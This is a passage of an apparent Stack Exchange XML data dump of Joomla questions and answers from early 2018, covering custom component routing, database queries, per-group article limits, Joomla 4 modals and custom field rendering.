result:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;www.mysite.com/Lay-Advisory/id-Name-of-the-person&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when I go on the details/single page of the component, this notice appears:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;Notice: Undefined index: name in components\com_layadvisory\router.php&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;My &lt;strong&gt;router.php&lt;/strong&gt; is &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA; * @copyright  2016 RCPSG&#xA; * @license    GNU General Public License version 2 or later; see LICENSE.txt&#xA; */&#xA;// No direct access&#xA;defined('_JEXEC') or die;&#xA;&#xA;JLoader::registerPrefix('Layadvisory', JPATH_SITE . '/components/com_layadvisory/');&#xA;&#xA;/**&#xA; * Class LayadvisoryRouter&#xA; *&#xA; * @since  3.3&#xA; */&#xA;class LayadvisoryRouter extends JComponentRouterBase&#xA;{&#xA;    /**&#xA;     * Build method for URLs&#xA;     * This method is meant to transform the query parameters into a more human&#xA;     * readable form. It is only executed when SEF mode is switched on.&#xA;     *&#xA;     * @param   array  &amp;$query  An array of URL arguments&#xA;     *&#xA;     * @return  array  The URL arguments to use to assemble the subsequent URL.&#xA;     *&#xA;     * @since   3.3&#xA;     */&#xA;    public function build(&amp;$query)&#xA;    {&#xA;         $segments = array();&#xA;&#xA;  if (isset($query['view'])) {&#xA;//$segments[] = $query['view'];&#xA;     unset($query['view']);&#xA;&#xA;  } &#xA;&#xA;  if(isset($query['id']))                               &#xA;  {&#xA;    $segments[] = $query['id'].&quot;-&quot;.$query['name'];&#xA;    unset($query['id']);&#xA;    unset($query['name']);  &#xA;  }&#xA;  return $segments;&#xA;}&#xA;&#xA;    /**&#xA;     * Parse method for URLs&#xA;     * This method is meant to transform the human readable URL back into&#xA;     * query parameters. It is only executed when SEF mode is switched on.&#xA;     *&#xA;     * @param   array  &amp;$segments  The segments of the URL to parse.&#xA;     *&#xA;     * @return  array  The URL attributes to be used by the application.&#xA;     *&#xA;     * @since   3.3&#xA;     */&#xA;    public function parse(&amp;$segments)&#xA;    {&#xA;$vars = array();&#xA;  $vars['view'] = &quot;layadvisory&quot;;    &#xA;  $aux = explode(&quot;:&quot;,$segments[0]);     &#xA;  $vars['id'] = $aux[0];    &#xA;  return $vars;&#xA;&#xA;    }&#xA;}&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My &lt;strong&gt;JRoute link&lt;/strong&gt; is: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;$link = JRoute::_( &quot;index.php?option=com_layadvisory&amp;view=layadvisory&amp;id={$dataItem-&gt;id}&amp;name={$dataItem-&gt;name}&quot; );&lt;/pre&gt;&#xA;" OwnerUserId="12138" LastEditorUserId="12138" LastEditDate="2018-01-24T12:46:23.360" LastActivityDate="2018-01-26T11:45:30.833" Title="Joomla! 3.6.4 router.php for a custom component" Tags="|component|custom-component|joomla-3.6|jroute|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22287" PostTypeId="2" ParentId="22284" CreationDate="2018-01-24T12:39:16.683" Score="2" Body="&lt;p&gt;Your &lt;code&gt;where&lt;/code&gt; clauses are incorrect. You don't need to use the table name, only the column&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So replace the clauses as shown below:&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Query 1:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query1-&amp;gt;where($db-&amp;gt;quoteName('#__hikers.link_id').&quot; = &quot;.$db-&amp;gt;quote($link_id));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query1-&amp;gt;where($db-&amp;gt;quoteName('link_id').&quot; = &quot;.$db-&amp;gt;quote($link_id));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Query 2:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$querya-&amp;gt;where($db-&amp;gt;quoteName('#__hikers.link_id').&quot; = &quot;.$db-&amp;gt;quote($link_id));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$querya-&amp;gt;where($db-&amp;gt;quoteName('link_id').&quot; = &quot;.$db-&amp;gt;quote($link_id));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Query 3:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query3-&amp;gt;where($db-&amp;gt;quoteName('#__users.id').&quot; = &quot;.$db-&amp;gt;quote($userId));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query3-&amp;gt;where($db-&amp;gt;quoteName('id').&quot; = &quot;.$db-&amp;gt;quote($userId));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Query 4:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$squery-&amp;gt;where($db-&amp;gt;quoteName('#__unclimbedpeaks.link_id').&quot; = &quot;.$db-&amp;gt;quote($link_id));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$squery-&amp;gt;where($db-&amp;gt;quoteName('link_id').&quot; = &quot;.$db-&amp;gt;quote($link_id));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Rather than using PHP's native &lt;code&gt;mail()&lt;/code&gt; function, I suggest you utilise Joomla's mail wrapp which uses PHPMailer, so replace:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mail($to, $subject, $message, $headers);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Example from here: &lt;a href=&quot;https://docs.joomla.org/Sending_email_from_extensions&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Sending_email_from_extensions&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2018-01-24T14:12:15.133" LastActivityDate="2018-01-24T14:12:15.133" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="22288" PostTypeId="2" ParentId="22283" CreationDate="2018-01-24T12:40:08.400" Score="2" Body="&lt;p&gt;May be this solution will answer to your question: &lt;a href=&quot;https://extensions.joomla.org/extensions/extension/authoring-a-content/content-construction/jl-content-fields-filter/&quot; rel=&quot;nofollow noreferrer&quot;&gt;JL Content Fields Filter&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="8525" LastActivityDate="2018-01-24T12:40:08.400" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22289" PostTypeId="2" ParentId="18801" CreationDate="2018-01-24T18:21:43.840" Score="4" Body="&lt;p&gt;I got the same issue and suddenly also v1 stopped working before March 31st.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wrote a fix for Joomla 2.5 v1 ReCaptcha Plugin, that seems to work...&#xA;Download the fix: &lt;a href=&quot;http://altersoftware.it/recaptcha.php.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://altersoftware.it/recaptcha.php.zip&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Expand it, and use its content to replace content of original file &lt;em&gt;your-site-root&lt;/em&gt;/plugin/captcha/recaptcha/recaptcha.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to big G's documentation it should keep working also after March 31st, given that you use valid v2 keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[Edit] a page for the fix: &lt;a href=&quot;http://altersoftware.it/products/contrib/joomla25_captcha_v2&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://altersoftware.it/products/contrib/joomla25_captcha_v2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HTH&lt;/p&gt;&#xA;" OwnerUserId="12139" LastEditorUserId="12139" LastEditDate="2018-01-25T14:24:44.133" LastActivityDate="2018-01-25T14:24:44.133" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22292" PostTypeId="2" ParentId="22049" CreationDate="2018-01-25T16:54:15.417" Score="0" Body="&lt;p&gt;SO I've figured this was caused by a conflict between JomSocial/Mosets Tree and the Joomla core. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following plugin rectified the issue:&#xA; &lt;a href=&quot;https://www.pages-and-items.com/extensions/redirect-on-login&quot; rel=&quot;nofollow noreferrer&quot;&gt;Redirect on logon&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7973" LastActivityDate="2018-01-25T16:54:15.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22293" PostTypeId="2" ParentId="22228" CreationDate="2018-01-25T22:37:46.017" Score="2" Body="&lt;p&gt;Solved this, so posting this answer for anyone who comes across the same problem in the future. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, what happens is: After posting the form, a script is supposedly kicked off, similar to what happens with this plugin: &lt;a href=&quot;https://www.rsjoomla.com/blog/view/415-rsformpro-ideal-plugin-launched.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.rsjoomla.com/blog/view/415-rsformpro-ideal-plugin-launched.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a script that is nowhere to be found in site configuration or anything, so I will need to go and ask the creator of the first working form where the script is exactly. Anyway, 'our' script takes two fields from a form and uses these for updating the payment reference. If one field is missing, obviously the script errors out and the payment reference is not updated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution was adding both fields named exactly as in the working form and from there it works fine. My problem was caused by me not needing field nr 2, so I removed it from the form. Now, it is back as a hidden field, solely for payment reference.&lt;/p&gt;&#xA;" OwnerUserId="8462" LastActivityDate="2018-01-25T22:37:46.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22294" PostTypeId="1" AcceptedAnswerId="22296" CreationDate="2018-01-26T08:16:04.067" Score="1" ViewCount="78" Body="&lt;p&gt;I´m a bit puzzled where to start.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should happen:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;admins should be able to edit a Usergroup and define the amount of articles members of this group can create.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Before a group member creates/saves a new article in fronted, the&#xA;amount of articles created by this user is compared to the max&#xA;allowed articles of it´s group membership. Pseudo Code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($articlesCreatedByUser &amp;lt; $allowedArticlesByGroup){&#xA;  $article-&amp;gt;save();&#xA;} else {&#xA;  die('you reached the article limit');&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;As I´m just starting with Joomla development here my questions.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;with Joomla3 it´s easy to create integer extra fields for Users, is this possible with Usergroups as well? If not what would be needed to extend the Usergroup backend form?&lt;/li&gt;&#xA;&lt;li&gt;what´s the easiest way to limit the article creation form as explained above. I´m unsure if I should dive into plugin creation (and hook into beforesave) or to extend com_content and it´s model save method?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thanks! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Toni&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/RSuEm.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RSuEm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12148" LastActivityDate="2018-01-26T11:40:49.783" Title="Limit articles frontend creation by user group" Tags="|com-content|user-groups|article-manager|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22295" PostTypeId="1" AcceptedAnswerId="22298" CreationDate="2018-01-26T10:56:01.543" Score="2" ViewCount="46" Body="&lt;p&gt;Just edited administrator/component/com_content/models/forms/article.xml to add more Images fields. The control is very user-friendly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/KQTTg.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KQTTg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way of doing it more right without changing core Joomla components?&lt;/p&gt;&#xA;" OwnerUserId="12096" LastActivityDate="2018-01-26T17:25:31.070" Title="Additional &quot;Images And Links&quot; fields - corect way" Tags="|articles|images|joomla3.8|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="22296" PostTypeId="2" ParentId="22294" CreationDate="2018-01-26T11:35:29.727" Score="1" Body="&lt;p&gt;I would suggest developing a content plugin along with template override to do this task. The below example limits max 5 articles per day per user.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function onContentBeforeSave($context, $article, $isNew)&#xA;{&#xA;    if ( $context != 'com_content.form' || !$isNew) &#xA;    {&#xA;        return true;&#xA;    }&#xA;&#xA;    $user = JFactory::getUser();&#xA;    $db = JFactory::getDbo();&#xA;&#xA;    $query = $db-&amp;gt;getQuery(true)&#xA;        -&amp;gt;select('count(*)')&#xA;        -&amp;gt;from('#__content')&#xA;        -&amp;gt;where('created_by = '.$user-&amp;gt;id.' and created &amp;gt; CURDATE()');&#xA;    $db-&amp;gt;setQuery($query);&#xA;    $articlesCreatedByUser = (int)$db-&amp;gt;loadResult();&#xA;&#xA;    // get the allowed articles somehow..&#xA;    $allowedArticlesByGroup = 5;&#xA;&#xA;    // check the allowed articles.&#xA;    if ($articlesCreatedByUser &amp;gt;= $allowedArticlesByGroup)&#xA;    {&#xA;        $article-&amp;gt;setError('Maximum of '.$allowedArticlesByGroup.' articles are allowed per day.');&#xA;        return false;&#xA;    }&#xA;&#xA;    return true;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The plugin will prevent users from creating new articles beyond the allowed limit. Now to prevent users from accessing the create article page itself, override the form layout and add above logic.&lt;/p&gt;&#xA;" OwnerUserId="4134" LastEditorUserId="4134" LastEditDate="2018-01-26T11:40:49.783" LastActivityDate="2018-01-26T11:40:49.783" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22297" PostTypeId="2" ParentId="22285" CreationDate="2018-01-26T11:45:30.833" Score="1" Body="&lt;p&gt;You are not checking the existence of parameter name before using it. Hence PHP shows the notice message. Change your code to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(isset($query['id']) &amp;amp;&amp;amp; isset($query['name']))                               &#xA;{&#xA;  $segments[] = $query['id'].&quot;-&quot;.$query['name'];&#xA;  unset($query['id']);&#xA;  unset($query['name']);  &#xA;}&#xA;else if(isset($query['id']))                               &#xA;{&#xA;  $segments[] = $query['id'];&#xA;  unset($query['id']);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;else block is optional, based on your requirement and design.&lt;/p&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2018-01-26T11:45:30.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22298" PostTypeId="2" ParentId="22295" CreationDate="2018-01-26T17:25:31.070" Score="2" Body="&lt;p&gt;I would suggest using Joomla custom fields instead.  The media field should work: &lt;a href=&quot;https://docs.joomla.org/J3.x:Adding_custom_fields/Media_Field&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Adding_custom_fields/Media_Field&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="464" LastActivityDate="2018-01-26T17:25:31.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22299" PostTypeId="2" ParentId="21898" CreationDate="2018-01-26T17:39:03.713" Score="1" Body="&lt;p&gt;I have the same problem (I use Joomla 3.8.3) and I just found a solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is in the exact code that you wrote. You have to change it to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($menuItem !== null&#xA;            &amp;amp;&amp;amp; isset($menuItem-&amp;gt;query['view'])&#xA;            &amp;amp;&amp;amp; $menuItem-&amp;gt;query['view'] == $query['view']&#xA;            &amp;amp;&amp;amp; isset($menuItem-&amp;gt;query['id'], $query['id'])&#xA;            &amp;amp;&amp;amp; $menuItem-&amp;gt;query['id'] == (int) $query['id'])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Actually you have to add the line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;amp;&amp;amp; isset($menuItem-&amp;gt;query['view'])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(This code exists in the file &quot;components\com_content\helpers\legacyrouter.php&quot;.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that they forgot to check the existence of the variable $menuItem-&gt;query['view'].&lt;/p&gt;&#xA;" OwnerUserId="12151" LastActivityDate="2018-01-26T17:39:03.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22300" PostTypeId="1" CreationDate="2018-01-26T19:18:13.807" Score="1" ViewCount="47" Body="&lt;p&gt;Seeking for a module similar to DisplayNews with advanced functionality. I need to modify the display template in such way that it shows specific Joomla Fields of the articles selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a link to custom fields documentation &lt;a href=&quot;https://docs.joomla.org/J3.x:Adding_custom_fields&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Adding_custom_fields&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So basically instead of such things as author, title, content I need to pull specific fields.&lt;/p&gt;&#xA;" OwnerUserId="12096" LastActivityDate="2018-01-26T19:18:13.807" Title="Seeking Joomla module to display selected articles and their fields" Tags="|joomla-3.x|module|custom-field|fields|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22302" PostTypeId="1" AcceptedAnswerId="22305" CreationDate="2018-01-28T11:58:45.017" Score="2" ViewCount="1024" Body="&lt;p&gt;To whom it may concern:&#xA;I just installed joomla 4.0 alpha and installed a custom extension of mine there in which uses mootools (JHTML::_('behavior.modal');), but it simply does not work.&#xA;is there another library for mootools with a different syntax in this new version of joomla?&#xA;Kian William&lt;/p&gt;&#xA;" OwnerUserId="9591" LastEditorUserId="120" LastEditDate="2018-01-29T05:02:42.630" LastActivityDate="2018-01-29T05:02:42.630" Title="Joomla 4 alpha mootools library" Tags="|joomla-4.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22305" PostTypeId="2" ParentId="22302" CreationDate="2018-01-28T14:02:32.057" Score="3" Body="&lt;p&gt;In Joomla 4 we've completely removed the Mootools library and any API functions for it. If you'd like to utilise a modal, you can use &lt;code&gt;JHtmlBootstrap::renderModal&lt;/code&gt; which is currently a wrapper for Bootstraps JS modal component, however we're rewriting the main components as custom elements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example for you to build on top of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Add this to the top of your PHP file&#xA;use Joomla\CMS\HTML\HTMLHelper;&#xA;use Joomla\CMS\Language\Text;&#xA;&#xA;// Render Modal&#xA;echo HTMLHelper::_(&#xA;    'bootstrap.renderModal',&#xA;    'versionsModal',&#xA;    array(&#xA;        'url'        =&amp;gt; 'URL',&#xA;        'title'      =&amp;gt; 'Modal title here',&#xA;        'height'     =&amp;gt; '400px',&#xA;        'width'      =&amp;gt; '800px',&#xA;        'modalWidth' =&amp;gt; 80,&#xA;        'bodyHeight' =&amp;gt; 60,&#xA;        'footer'     =&amp;gt; '&amp;lt;a type=&quot;button&quot; class=&quot;btn btn-secondary&quot; data-dismiss=&quot;modal&quot;&amp;gt;' . Text::_('JCANCEL') . '&amp;lt;/a&amp;gt;'&#xA;    )&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2018-01-28T14:02:32.057" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="22307" PostTypeId="1" CreationDate="2018-01-28T21:30:54.287" Score="0" ViewCount="93" Body="&lt;p&gt;Using Joonla 3.7 I used to get a warning about the cron job not running that's because my provider does not allow jobs&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could do the cronjob manually by clicking on the warning and all was fine to me&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After updating Joomla to 3.8.3 I cannot find the link to cron manually&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you please tell me if this can be done in the control-panel?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;thank you for your reply.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;sorry, I do not think I used a special plugin ; when logging in in Joomla we get the warning popup about cron:&#xA;&lt;em&gt;Cron Not Running&#xA;Last cron run at 7 december 2017 17:41 uur PM.&#xA;View details and manage alerts&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in the same popup klicking the link gave another page where I could run cron manually&lt;/p&gt;&#xA;&#xA;&lt;p&gt;maybe because in Joomla we have civicrm installed?&lt;/p&gt;&#xA;" OwnerUserId="12156" LastEditorUserId="12156" LastEditDate="2018-02-01T11:24:32.193" LastActivityDate="2024-04-01T07:02:00.220" Title="How to start cron in joomla with civicrm manually? Answer: use civicrm planned jobs!" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="22309" PostTypeId="1" AcceptedAnswerId="22311" CreationDate="2018-01-28T22:24:53.673" Score="1" ViewCount="591" Body="&lt;p&gt;I am using custom fields introduced in Joomla 3.7 as a way to structure articles in my Joomla 3.8.3. installation. One of my custom fields contains shortcode to be rendered by another plugin. But all I can get from displaying that field is the value of the custom field, not the rendered content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;custom field id = 3;&lt;/li&gt;&#xA;&lt;li&gt;custom field type = text;&lt;/li&gt;&#xA;&lt;li&gt;custom field value = {image}path/to/image.jpg{/image}.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In the article I call {field 3}.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The expected result would be image with url path/to/image.jpg.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The actual result is raw text {image}path/to/image.jpg{/image}.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not know if there is an option that I have to change to force the custom field be rendered by plugin or create an override. I have this working in my previous installation of the Joomla, but after having my server hacked the backup does not restore the expected behavior.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I forgot to mention that using just plugin short-code renders as expected so it is not a plugin, Joomla or server problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can somebody please help me. Regards; Luka&lt;/p&gt;&#xA;" OwnerDisplayName="user12158" LastActivityDate="2018-01-29T09:54:54.243" Title="Custom fields don't render plugin shortcode" Tags="|plugin|custom-field|fields|joomla3.8|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22311" PostTypeId="2" ParentId="22309" CreationDate="2018-01-29T09:54:54.243" Score="2" Body="&lt;p&gt;The answer was given on the forum: &lt;a href=&quot;https://forum.joomla.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://forum.joomla.org/&lt;/a&gt; by user &lt;a href=&quot;https://forum.joomla.org/memberlist.php?mode=viewprofile&amp;amp;u=824363&quot; rel=&quot;nofollow noreferrer&quot;&gt;effrit&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to create a layout override for the field. Go to Extensions =&gt; Templates =&gt; Templates. Select [YOUR-TEMPLATE] - Details and Files. Click on Create override and select Layouts =&gt; com_fields =&gt; fields. That will copy the com_field render.php into override directory of a template (path is:/templates/YOUR-TEMPLATE/html/layouts/com_fields/field/render.php). Go to Editor and select the html =&gt; layouts =&gt; com_fields =&gt; field =&gt; render.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Find the following string&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;span class=&quot;field-value&quot;&amp;gt;&amp;lt;?php echo $value; ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and replace it with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;span class=&quot;field-value&quot;&amp;gt;&amp;lt;?php echo JHtml::_('content.prepare',$value); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can off course use field id to only to the override on fields that need it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( ($field-&amp;gt;id == 'X') or ($field-&amp;gt;id == 'Y') ) : ?&amp;gt;&#xA;    &amp;lt;span class=&quot;field-value&quot;&amp;gt;&amp;lt;?php echo JHtml::_('content.prepare',$value); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;&amp;lt;?php else : ?&amp;gt;&#xA;    &amp;lt;span class=&quot;field-value&quot;&amp;gt;&amp;lt;?php echo $value; ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerDisplayName="user12158" LastActivityDate="2018-01-29T09:54:54.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22312" PostTypeId="2" ParentId="3652" CreationDate="2018-01-29T10:12:47.890" Score="1" Body="&lt;p&gt;Now that the Joomla filters are allowing multiple selections, e.g. in &lt;code&gt;com_content&lt;/code&gt; articles list we can filter using multiple categories, the way to achieve the filtering with a _GET query string is like below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;index.php?option=com_content&amp;amp;view=articles&amp;amp;filter[category_id][]=105&amp;amp;filter[category_id][]=146&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Essentially, we need to convert the desired filter to an array (when it applies) and then assign multiple.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;amp;filter[category_id][]=105&amp;amp;filter[category_id][]=146&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="126" LastActivityDate="2018-01-29T10:12:47.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22314" PostTypeId="1" CreationDate="2018-01-29T14:26:06.553" Score="0" ViewCount="664" Body="&lt;p&gt;When I go to Joomla! Update it is showing the following:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;No updates available. You are on the &quot;Default&quot; update channel. Through&#xA;  this channel you'll receive notifications for all updates of the&#xA;  current Joomla! release (3.x)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;You already have the latest Joomla version, 3.6.5.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I know there is version 3.8.3, but it is not appearing, even when I purge the cache. I have checked the Directory Permissions and they are all showing up as writable. I do have the error log set to maximum but there are no error showing.&lt;/p&gt;&#xA;" OwnerUserId="12161" LastEditorUserId="2324" LastEditDate="2018-04-01T03:53:42.890" LastActivityDate="2019-04-27T16:39:19.527" Title="Unable to update Joomla core package" Tags="|joomla-3.x|update|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22316" PostTypeId="2" ParentId="22314" CreationDate="2018-01-29T14:57:27.693" Score="0" Body="&lt;p&gt;I think it's a problem related to the update xml.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have you tried to do a manual update?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/J3.x:Upgrading_from_Joomla_3.4.x_to_3.5&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Upgrading_from_Joomla_3.4.x_to_3.5&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11575" LastActivityDate="2018-01-29T14:57:27.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
